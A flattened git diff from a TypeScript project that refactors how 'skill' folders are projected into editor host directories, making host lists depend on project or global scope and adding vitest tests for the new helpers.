roots.map(({ editor, root }) => {- const abs = join(base, root);- let st: ReturnType<typeof lstatSync>;- try {- st = lstatSync(abs);- } catch {- return { host: editor, root, state: 'absent' as const };- }- let real: string;- try {- real = realpathSync(abs);- } catch {- return { host: editor, root, state: 'absent' as const };- }- if (st.isSymbolicLink()) {- const target = relTo(real);- return { host: editor, root, state: 'linked' as const, ...(target ? { target } : {}) };- }- if (real !== join(baseReal, root)) {- const target = relTo(real);- return {- host: editor,- root,- state: 'linked-parent' as const,- ...(target ? { target } : {}),- };- }- return { host: editor, root, state: 'own' as const };- });-}+export { scanSkillFolderStates } from '@inkeep/open-knowledge-core/skill-folder-state';export type FolderLinkResult =| { ok: true; moved: string[]; dropped: string[]; linked: string[] }diff --git a/packages/server/src/skill-projection.test.ts b/packages/server/src/skill-projection.test.tsindex 5aa51b2b0..f01ec5c3b 100644--- a/packages/server/src/skill-projection.test.ts+++ b/packages/server/src/skill-projection.test.ts@@ -13,20 +13,53 @@ import {} from 'node:fs';import { tmpdir } from 'node:os';import { dirname, join, resolve } from 'node:path';+import {+ AGENTS_SKILLS_ROOT,+ EDITOR_PROJECT_SKILL_ROOT,+ EDITOR_USER_SKILL_ROOT,+ PROJECT_SKILL_EDITOR_IDS,+ USER_SKILL_EDITOR_IDS,+ USER_SKILL_HOSTS,+} from '@inkeep/open-knowledge-core';import { parseSkillDir } from '@inkeep/open-knowledge-core/skills-catalog';import { afterEach, beforeEach, describe, expect, test } from 'vitest';import {hostSkillsRootEscapes,+ hostSlotPaths,projectInPlaceSkill,projectSkill,readSkillBundledFiles,relocateInPlaceCanonical,removeInPlaceSkillCopies,+ resolvedHosts,reverseProjectSkill,skillHostDir,+ skillProjectionEditorIds,+ skillProjectionRoots,validateSkillForInstall,} from './skill-projection.ts';+describe('skillProjectionEditorIds', () => {+ test('the global pair reaches every user-global install root', () => {+ const roots = skillProjectionRoots('global');+ const walked = new Set(+ skillProjectionEditorIds('global')+ .map((id) => roots[id])+ .filter((root): root is string => root !== null),+ );+ walked.add(AGENTS_SKILLS_ROOT);+ const seeded = USER_SKILL_HOSTS.map((host) => host.skillsRoot);+ expect(seeded.filter((root) => !walked.has(root))).toEqual([]);+ });++ test('each scope delegates to its own id list and root map', () => {+ expect(skillProjectionEditorIds('project')).toBe(PROJECT_SKILL_EDITOR_IDS);+ expect(skillProjectionRoots('project')).toBe(EDITOR_PROJECT_SKILL_ROOT);+ expect(skillProjectionEditorIds('global')).toBe(USER_SKILL_EDITOR_IDS);+ expect(skillProjectionRoots('global')).toBe(EDITOR_USER_SKILL_ROOT);+ });+});+let root: string;function makeSkill(@@ -460,3 +493,34 @@ describe('projectInPlaceSkill / removeInPlaceSkillCopies (in-place fan-out guardexpect(realpathSync(join(root, '.codex/skills/foo'))).toBe(realpathSync(unrelated));});});++describe('hostSlotPaths pairs the id list with the root map it was given', () => {+ test('a global root map enumerates every user-scope host, not the project set', () => {+ const paths = hostSlotPaths('/h', 'x', EDITOR_USER_SKILL_ROOT);+ for (const id of USER_SKILL_EDITOR_IDS) {+ const root = EDITOR_USER_SKILL_ROOT[id];+ if (root === null) continue;+ expect(paths).toContain(resolve('/h', root, 'x'));+ }+ });++ test('a project root map still enumerates the project set', () => {+ const paths = hostSlotPaths('/p', 'x', EDITOR_PROJECT_SKILL_ROOT);+ for (const id of PROJECT_SKILL_EDITOR_IDS) {+ const root = EDITOR_PROJECT_SKILL_ROOT[id];+ if (root === null) continue;+ expect(paths).toContain(resolve('/p', root, 'x'));+ }+ });+});++describe('resolvedHosts keeps the hosts its scope actually has', () => {+ test('a global request keeps the user-tier-only hosts a project request drops', () => {+ expect(resolvedHosts(['antigravity', 'lm-studio', 'claude'], 'global')).toEqual([+ 'antigravity',+ 'lm-studio',+ 'claude',+ ]);+ expect(resolvedHosts(['antigravity', 'lm-studio', 'claude'], 'project')).toEqual(['claude']);+ });+});diff --git a/packages/server/src/skill-projection.ts b/packages/server/src/skill-projection.tsindex 9773a5da7..9e8ad6b3a 100644--- a/packages/server/src/skill-projection.ts+++ b/packages/server/src/skill-projection.ts@@ -9,6 +9,7 @@ import {type EditorId,PROJECT_SKILL_EDITOR_IDS,RENAMED_PACK_SKILLS,+ USER_SKILL_EDITOR_IDS,} from '@inkeep/open-knowledge-core';import type { SkillHostId } from '@inkeep/open-knowledge-core/skills-catalog';import { parse as parseYaml } from 'yaml';@@ -22,8 +23,8 @@ import {import { isInternalBundleSkillName } from './skill-bundles.ts';import { inspectSkillPathEntry } from './skill-path-entry.ts';-export function resolvedHosts(hosts: readonly string[]): EditorId[] {- const valid = PROJECT_SKILL_EDITOR_IDS as readonly string[];+export function resolvedHosts(hosts: readonly string[], scope: 'project' | 'global'): EditorId[] {+ const valid = skillProjectionEditorIds(scope) as readonly string[];return hosts.filter((h): h is EditorId => valid.includes(h));}@@ -134,6 +135,10 @@ export function skillProjectionRoots(scope: 'project' | 'global'): SkillProjectireturn scope === 'global' ? EDITOR_USER_SKILL_ROOT : EDITOR_PROJECT_SKILL_ROOT;}+export function skillProjectionEditorIds(scope: 'project' | 'global'): readonly EditorId[] {+ return scope === 'global' ? USER_SKILL_EDITOR_IDS : PROJECT_SKILL_EDITOR_IDS;+}+export function skillHostDir(cwd: string,editor: EditorId,@@ -407,15 +412,15 @@ export function relocateInPlaceCanonical(opts: {return { ok: true, newAbs: dest };}-const ALL_TARGET_HOSTS: readonly SkillHostId[] = [- 'agents',- ...(PROJECT_SKILL_EDITOR_IDS as readonly EditorId[]),-];+function targetHostsFor(roots: SkillProjectionRoots): readonly SkillHostId[] {+ const scope = roots === EDITOR_USER_SKILL_ROOT ? 'global' : 'project';+ return ['agents', ...(skillProjectionEditorIds(scope) as readonly SkillHostId[])];+}export function hostSlotPaths(cwd: string, name: string, roots: SkillProjectionRoots): string[] {- return ALL_TARGET_HOSTS.map((host) => skillTargetDir(cwd, host, name, roots)).filter(- (p): p is string => p !== null,- );+ return targetHostsFor(roots)+ .map((host) => skillTargetDir(cwd, host, name, roots))+ .filter((p): p is string => p !== null);}export function repointSiblingLinks(opts: {